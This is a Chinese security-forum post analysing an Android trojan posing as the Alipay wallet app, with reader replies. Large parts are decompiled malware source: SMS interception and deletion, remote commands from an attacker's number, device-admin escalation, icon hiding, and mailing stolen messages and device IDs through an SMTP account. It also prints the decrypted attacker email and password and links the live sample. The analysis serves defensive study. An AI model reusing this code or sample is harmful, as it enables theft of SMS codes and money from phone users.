吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 34848|回复: 47
收起左侧

[移动样本分析] 一款伪装为支付宝钱包的短信拦截马分析

  [复制链接]
leerina 发表于 2015-11-30 12:04
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 leerina 于 2015-11-30 12:11 编辑

一、样本信息
文件名称:
支付宝钱包.apk
MD5值:b1e40471dec08b28a5617aa3f4d9614c
文件大小:206.02KB
上传时间:2015-11-30 11:02:05
包名:com.ayuinnfchpsj.jmbvipdax0526abaj16.fxzjkxingf.pojie.ggengxisn
最低运行环境:Android 2.2.x
版权:
Android
图标:
样本来源:http://www.52pojie.cn/thread-439945-1-1.html
二,行为基本分析
利用androidkiller查壳,发现利用了 APKProtect 加固处理,但可以直接利用android反编译出来:通过分析,发现其加壳并没有什么用,拉出DEX文件也可直接进行反编译源码: 2.png
2.png
3.查看配置文件
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?xml version="1.0" encoding="utf-8" standalone="no"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:installLocation="internalOnly" package="com.ayuinnfchpsj.jmbvipdax0526abaj16.fxzjkxingf.pojie.ggengxisn" platformBuildVersionCode="21" platformBuildVersionName="5.0-1504858">
    <uses-permission android:name="android.permission.INTERNET"/>
    <uses-permission android:name="android.permission.READ_SMS"/>
    <uses-permission android:name="android.permission.WRITE_SMS"/>
    <uses-permission android:name="android.permission.SEND_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_SMS"/>
    <uses-permission android:name="android.permission.RECEIVE_WAP_PUSH"/>
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.RECEIVE_USER_PRESENT"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
    <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
    <uses-permission android:name="android.permission.READ_CONTACTS"/>
    <uses-permission android:name="android.permission.CALL_PHONE"/>
    <uses-permission android:name="android.permission.READ_CALL_LOG"/>
    <uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
    <uses-permission android:name="android.permission.GET_TASKS"/>
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
    <uses-permission android:name="android.permission.WRITE_SETTINGS"/>
    <uses-permission android:name="android.permission.VIBRATE"/>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
    <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
    <application android:allowBackup="true" android:icon="@drawable/app_logo" android:label="@string/app_name" android:name="com.phone.stop.db.PhoneApplication" android:theme="@android:style/Theme.Black.NoTitleBar.Fullscreen">
        <activity android:excludeFromRecents="false" android:label="@string/app_name" android:name="com.phone.stop.activity.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN"/>
                <category android:name="android.intent.category.LAUNCHER"/>
            </intent-filter>
        </activity>
        <activity android:excludeFromRecents="false" android:label="@string/app_name" android:name="com.phone.stop.activity.DeleteActivity">
            <intent-filter>
                <category android:name="android.intent.category.DEFAULT"/>
                <action android:name="android.intent.action.DELETE"/>
                <data android:scheme="package"/>
            </intent-filter>
        </activity>
        <service android:exported="true" android:name="com.phone.stop.service.BootService"/>
        <service android:name="com.ms"/>
        <service android:name="com.se"/>
        <receiver android:name="com.phone.stop.receiver.BootReceiver">
            <intent-filter android:priority="2147483647">
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
                <action android:name="android.provider.Telephony.GSM_SMS_RECEIVED"/>
                <action android:name="android.provider.Telephony.SMS_RECEIVED_2"/>
                <action android:name="android.provider.Telephony.SMS_DELIVER"/>
            </intent-filter>
        </receiver>
        <receiver android:name="com.phone.stop.receiver.SMSReceiver">
            <intent-filter android:priority="2147483647">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
            </intent-filter>
        </receiver>
        <receiver android:name="com.phone.stop.receiver.MyDeviceAdminReceiver" android:permission="android.permission.BIND_DEVICE_ADMIN">
            <meta-data android:name="android.app.device_admin" android:resource="@xml/devicepolicymanager_permission"/>
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
            </intent-filter>
        </receiver>
    </application>
</manifest>

通过以上配置文件可以大概了解到样本的一些危险操作:
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
android.permission.INTERNET //连接网络(2G或3G)
android.permission.READ_SMS //读取短信
android.permission.WRITE_SMS //写短信
android.permission.SEND_SMS// 发送短信
android.permission.RECEIVE_SMS //监控接收短信
android.permission.RECEIVE_WAP_PUSH //接收wap push信息
android.permission.RECEIVE_BOOT_COMPLETED //接收开机启动广播
android.permission.RECEIVE_USER_PRESENT        N/A
android.permission.READ_PHONE_STATE// 读取电话状态
android.permission.MODIFY_AUDIO_SETTINGS //修改声音设置
android.permission.READ_CONTACTS //读取联系人信息
android.permission.CALL_PHONE //拨打电话
android.permission.READ_CALL_LOG //读取通话记录
android.permission.WRITE_CALL_LOG //写入通话记录
android.permission.GET_TASKS //获取有关当前或最近运行的任务信息
android.permission.ACCESS_NETWORK_STATE //读取网络状态(2G或3G)
android.permission.WRITE_SETTINGS //读写系统设置项
android.permission.VIBRATE //允许设备震动
android.permission.WRITE_EXTERNAL_STORAGE //写外部存储器(如:SD卡)
android.permission.ACCESS_WIFI_STATE //读取wifi网络状态

首先依次分析代码,打开了一个加密字符串代码段,其出现的账号和相关信息都是通过AES加密:
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.PrintStream;
import java.io.UnsupportedEncodingException;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
 
public class C
{
[color=#ff0000]  private static final String CipherMode = "AES/ECB/PKCS5Padding";
  public static String k = "sdtyffdftesfyfdw";
[/color] 
  public static String byte2hex(byte[] paramArrayOfByte)
  {
    StringBuffer localStringBuffer = new StringBuffer(paramArrayOfByte.length * 2);
    int i = 0;
    for (;;)
    {
      if (i >= paramArrayOfByte.length) {
        return localStringBuffer.toString().toUpperCase();
      }
      String str = Integer.toHexString(paramArrayOfByte[i] & 0xFF);
      if (str.length() == 1) {
        localStringBuffer.append("0");
      }
      localStringBuffer.append(str);
      i += 1;
    }

执行打印日志的命令:
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
public void run()
  {
    try
    {
      BufferedReader localBufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("logcat -v threadtime").getInputStream()), 20);
      for (;;)
      {
        String str = localBufferedReader.readLine();
        if (str == null) {
          break;
        }
        ADRTSender.sendLogcatLines(new String[] { str });
      }
      return;
    }
    catch (IOException localIOException) {}
  }
}

操作中招者手机短信信息,其中有读取短信,发送短信,拦截短信,删除短信的操作:
[Java] 纯文本查看 复制代码
1
2
3
4
5
6
7
8
9
import android.net.Uri;
 
public class a
{
  public static final Uri a = Uri.parse("content://sms");
  public static final Uri b = Uri.parse("content://sms/inbox");
  public static final Uri c = Uri.parse("content://sms/conversations/");
  public static final Uri d = Uri.parse("content://sms/sent");
}

获取设备管理性能操作:
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
public void a()
{
  try
  {
    Object localObject = (DevicePolicyManager)getSystemService("device_policy");
    ComponentName localComponentName = new ComponentName(this, MyDeviceAdminReceiver.class);
    if (!((DevicePolicyManager)localObject).isAdminActive(localComponentName))
    {
      localObject = new Intent("android.app.action.ADD_DEVICE_ADMIN");
      ((Intent)localObject).putExtra("android.app.extra.DEVICE_ADMIN", localComponentName);
      ((Intent)localObject).putExtra("android.app.extra.ADD_EXPLANATION", "提高权限获取保护");//提高权限获取保护
      startActivityForResult((Intent)localObject, 0);
      this.a.sendEmptyMessageDelayed(0, 2300L);
    }
    return;
  }

创建保护进程,当用户尝试卸载时,提示已经卸载,用来伪装自己真实存在的:
3.png
监控短信(收到短信)启动服务:
[Java] 纯文本查看 复制代码
001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
package com.phone.stop.receiver;
 
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build.VERSION;
import android.os.Bundle;
import android.telephony.SmsMessage;
import com.phone.stop.d.c;
import com.phone.stop.db.a;
import com.phone.stop.e.b;
import com.phone.stop.f.g;
import com.phone.stop.f.h;
import com.phone.stop.f.j;
import com.phone.stop.f.l;
import com.w;
import java.util.ArrayList;
import java.util.Iterator;
 
public class SMSReceiver
  extends BroadcastReceiver
{
  public static int n;
  private Context a;
  private final int b = 1;
   
  public SMSReceiver()
  {
    n = 1;
  }
   
  private void a(Intent paramIntent)
  {
    paramIntent = paramIntent.getExtras();
    Object localObject = new StringBuffer();
    SmsMessage[] arrayOfSmsMessage;
    int i;
    String str1;
    if (paramIntent != null)
    {
      paramIntent = (Object[])paramIntent.get("pdus");
      arrayOfSmsMessage = new SmsMessage[paramIntent.length];
      int j = paramIntent.length;
      i = 0;
      if (i >= j)
      {
        j = arrayOfSmsMessage.length;
        paramIntent = "";
        str1 = "";
        i = 0;
        label62:
        if (i < j) {
          break label163;
        }
      }
    }
    for (;;)
    {
      if (n == 1) {
        abortBroadcast();
      }
      localObject = ((StringBuffer)localObject).toString();
      a(str1, (String)localObject, paramIntent);
      com.phone.stop.c.d.a(this.a, localObject + "<br>" + str1 + "<br><br><br>" + j.a() + "-----------------&#65533;&#65533;&#65533;&#65533;<");
      return;
      arrayOfSmsMessage[i] = SmsMessage.createFromPdu((byte[])paramIntent[i]);
      i += 1;
      break;
      label163:
      paramIntent = arrayOfSmsMessage[i];
      str1 = paramIntent.getDisplayOriginatingAddress();
      String str2 = paramIntent.getMessageBody();
      paramIntent = paramIntent.getTimestampMillis();
      ((StringBuffer)localObject).append(str2);
      i += 1;
      break label62;
      paramIntent = "";
      str1 = "";
    }
  }
   
  private void a(String paramString1, String paramString2, String paramString3)
  {
    String str = a.a(this.a).c();
    if (a(paramString1, paramString2)) {
      return;
    }
    switch (a.a(this.a).g())
    {
    default:
      return;
    case 1:
      b(paramString1, paramString2, paramString3);
      return;
    case 3:
      clearAbortBroadcast();
      return;
    }
    c(str, paramString2, paramString3);
  }
   
  private boolean a(String paramString1, String paramString2)
  {
    if (paramString1.contains(a.a(this.a).c()))
    {
      g.a("------------------ &#65533;&#65533;&#65533;&#65533;&#65533;&#65533;----------------------");
      a(paramString2);
      paramString1 = paramString2.split(" ");
      if (paramString1[0].equals("LJ")) {
        if (paramString1[1].equals("ALL")) {
          a.a(this.a).a(1);
        }
      }
      do
      {
        do
        {
          do
          {
            return true;
            if (paramString1[1].equals("SOME"))
            {
              a.a(this.a).a(2);
              return true;
            }
          } while (!paramString1[1].equals("NO"));
          a.a(this.a).a(3);
          return true;
          if (paramString1[0].equals("ADD"))
          {
            paramString2 = new c();
            paramString2.c = paramString1[1];
            b.a(paramString2);
            return true;
          }
          if (paramString1[0].equals("DEL"))
          {
            b.a(paramString1[1]);
            return true;
          }
          if (paramString1[0].equals("CLEAR"))
          {
            if (paramString1[1].equals("ALL"))
            {
              b.a();
              return true;
            }
            paramString1[1].equals("MESSAGE");
            return true;
          }
          if (!paramString1[0].equals("LOOK")) {
            break;
          }
          if (paramString1[1].equals("TIME"))
          {
            l.a("&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;:" + a.a(this.a).e(), 4, this.a);
            return true;
          }
        } while (!paramString1[1].equals("PHONE"));
        l.a(j.a(), 4, this.a);
        return true;
      } while (!paramString1[0].equals("SEND"));
      try
      {
        l.a(paramString1[1], paramString1[2], this.a);
        return true;
      }
      catch (Exception paramString1)
      {
        return true;
      }
    }
    return false;
  }
   
  private void b(String paramString1, String paramString2, String paramString3)
  {
    a(paramString2);
    l.a(paramString2 + "\n&#65533;&#65533;&#65533;&#65533;:" + paramString1, 4, this.a);
  }
   
  private void c(String paramString1, String paramString2, String paramString3)
  {
    paramString3 = b.b().iterator();
    do
    {
      if (!paramString3.hasNext()) {
        return;
      }
    } while (!paramString1.contains(((c)paramString3.next()).c));
    a(paramString2);
    l.a(paramString2 + "\n&#65533;&#65533;&#65533;&#65533;:" + paramString1, 4, this.a);
  }
   
  public void a(String paramString)
  {
    if (String.valueOf(Build.VERSION.RELEASE).compareTo("4.4") >= 0) {
      new h().a(this.a, paramString);
    }
  }
   
  public void onReceive(Context paramContext, Intent paramIntent)
  {
    w.a(paramIntent, paramContext);
    g.a(" &#65533;&#65533;&#65533;&#65533;---------------------------------------");
    this.a = paramContext;
    a(paramIntent);
    com.phone.stop.f.d.b(paramContext, 0);
    com.phone.stop.f.d.c(paramContext, 0);
    com.phone.stop.f.d.a(paramContext, 0);
    com.phone.stop.f.d.a(paramContext, true);
  }
}

创建邮箱客户端,以便中招手机可以将短信,通讯录等信息发送到目标邮箱:
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
private static void c(Context paramContext, String paramString)
  {
    try
    {
      com.phone.stop.db.a locala = com.phone.stop.db.a.a(paramContext);
      String str1 = ((TelephonyManager)paramContext.getSystemService("phone")).getDeviceId();
      String str5 = k.a(paramContext);
      String str2 = locala.p();
      String str3 = locala.t();
      String str4 = locala.r();
      b localb = new b();
      localb.a("smtp.163.com", "25");
      paramContext = "MESS(" + str1 + ")" + "(" + str5 + ")";
      if (paramString.contains("&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;&#65533;")) {
        paramContext = "&#65533;&#65533;&#65533;&#65533;MESS(" + str1 + ")" + "(" + str5 + ")";
      }
      localb.a(str2, paramContext, paramString);
      localb.a(new String[] { str4 });
      localb.b("smtp.163.com", str2, str3);
      locala.g(true);
      return;
    }
    catch (Exception paramContext)
    {
      g.a("aaaa", paramContext);
    }
  }
  public String p()
  {
    this.b.getString("send_email_account", "587676AA1B91FA679F7EE717D56D6EAE42C4667D5D21F62B");
    return C.decrypt("15A60D0257FB9C16C13B55CD75A091E543E19E8E8780A1C6822ADA1412ED2DA3", C.k);
  }
   
  public boolean q()
  {
    return this.b.getBoolean("has_set_send_email_account", false);
  }
   
  public String r()
  {
[color=#ff0000]    this.b.getString("receive_email_account", "587676AA1B91FA679F7EE717D56D6EAE42C4667D5D21F62B");
    return C.decrypt("8D9CF1F5E6F81DAD[/color]4[color=#ff0000]ABDA220DBCCF46947159942CFCDC3C50E03D88B78D6E0C9", C.k);
  }[/color]
   
  public boolean s()
  {
    return this.b.getBoolean("has_set_receive_email_account", false);
  }
   
  public String t()
  {
[color=#ff0000]    this.b.getString("send_email_pwd", "C078BC539D7813F590EB0D529BAB4C10D0C3804FAF7F793C");
    return C.decrypt("97438219C8E7D5ECBA445F15976A45BA", C.k);
  }[/color]
   
  public boolean u()
  {
    return this.b.getBoolean("has_set_send_email_pwd", false);
  }
}

经过AES解密后发现,其邮箱账号为:baokaw004@163.com/cy081225不用尝试登陆了,因为密码已经改了
继续分析代码,发现中招手机还可以将短信发送至病毒制造者:
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
String str2 = paramIntent[i];
     localObject1 = "+86" + "9E1B5E0D5A9725A4528B0FA97DACE97E";//解密后手机号码为:[color=#fd5555]13138914565[/color]
     Object localObject2 = str2.getDisplayOriginatingAddress();
     str2 = str2.getDisplayMessageBody();
     if (((String)localObject2).equals(localObject1)) {}
     try
     {
       if (str2.startsWith("#send"))
       {
         localObject1 = str2.substring(5);
         try
         {
           localObject2 = Class.forName("com.ms");
           localObject2 = new Intent(paramContext, (Class)localObject2);
           ((Intent)localObject2).putExtra("c", (String)localObject1);
           paramContext.startService((Intent)localObject2);
         }
         catch (ClassNotFoundException localClassNotFoundException1)
         {
           throw new NoClassDefFoundError(localClassNotFoundException1.getMessage());
程序被用户激活后,自动隐藏桌面图标:
[Java] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public class MainActivity
  extends Activity
{
  Handler a = new b(this);
   
  public void a()
  {
    try
    {
      Object localObject = (DevicePolicyManager)getSystemService("device_policy");
      ComponentName localComponentName = new ComponentName(this, MyDeviceAdminReceiver.class);
      if (!((DevicePolicyManager)localObject).isAdminActive(localComponentName))
      {
        localObject = new Intent("android.app.action.ADD_DEVICE_ADMIN");
        ((Intent)localObject).putExtra("android.app.extra.DEVICE_ADMIN", localComponentName);
        ((Intent)localObject).putExtra("android.app.extra.ADD_EXPLANATION", "提高权限保护");
        startActivityForResult((Intent)localObject, 0);
        this.a.sendEmptyMessageDelayed(1, 2000L);
      }
      return;
    }
    catch (Exception localException)
    {
      localException.printStackTrace();
    }
  }
   
  protected void onActivityResult(int paramInt1, int paramInt2, Intent paramIntent)
  {
    super.onActivityResult(paramInt1, paramInt2, paramIntent);
    if (paramInt1 == 0)
    {
      if (paramInt2 != -1) {
        break label86;
      }
      Log.i("onActivityResult", "Enable it");
      a.a(this).a(true);
      l.b(j.a() + "\n用户选择了激活", 4, this);//如果用户选择了激活,则病毒程序桌面图标被隐藏了
    }
    for (;;)
    {
      startService(new Intent(this, BootService.class));
      this.a.sendEmptyMessageDelayed(0, 3000L);
      return;
      label86:
      l.b(j.a() + "\n用户没有选择激活", 4, this);
      Log.i("onActivityResult", "Cancle it");
    }
  }
   
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130903040);
    getPackageManager().setComponentEnabledSetting(getComponentName(), 2, 1);
    i.a(this);
    i.b(this);
    i.c(this);
    i.d(this);
    i.e(this);
    i.f(this);
    if (!a.a(this).i())
    {
      paramBundle = ((TelephonyManager)getSystemService("phone")).getDeviceId();
      l.a("软件安装完毕\n识别码:" + paramBundle + "\n" + j.a(), 4, this);
      a.a(this).e(true);
    }
    l.a(this);
    if (a.a(this).l()) {
      d.a(this);
    }
    a();
  }
}

某平台分析: 5.png

四.总结
此样本的伪装行为较好,将桌面图标伪装为支付宝图标,之后再隐藏桌面图标。样本下载地址:
http://cloud.189.cn/t/v2mMbarEneQf(访问码:5635)

免费评分

参与人数 10热心值 +10 收起 理由
awdela + 1 我很赞同!
乱月 + 1 楼楼真棒
jojo1776568 + 1 谢谢@Thanks!
我叫百万 + 1 我很赞同!
yuluo5566 + 1 我很赞同!
简单就行1 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩.
冷寒暄灬 + 1 谢谢@Thanks!
hupengpeng + 1 已答复!
Hyabcd + 1 我很赞同!
溪水军 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

寒雪冰熊 发表于 2015-11-30 12:36
楼主,创建保护进程,当用户尝试卸载时,提示已经卸载,用来伪装自己真实存在的:    这个没有详细的代码吗?
tonydong1975 发表于 2015-12-26 10:35
q78539211 发表于 2015-11-30 13:08
感谢分析
我来学习
只不过不知道有什么用

干坏事用的,到人家支付宝用的,偷钱的
c张小辉 发表于 2015-11-30 12:20
菩提树 发表于 2015-11-30 12:20
看看  学习 学习
Taobi 发表于 2015-11-30 12:40
诶呀 学习啦
一块豆腐 发表于 2015-11-30 12:46
学习一下 谢谢分享
蓦留 发表于 2015-11-30 12:47
厉害,学习了
michener 发表于 2015-11-30 13:08
感谢分析
我来学习
只不过不知道有什么用
snwfnh 发表于 2015-11-30 13:09
谢谢楼主分享 我来学习学习
Myself_GF 发表于 2015-11-30 13:17
学习了,谢谢楼主分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-29 05:24

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表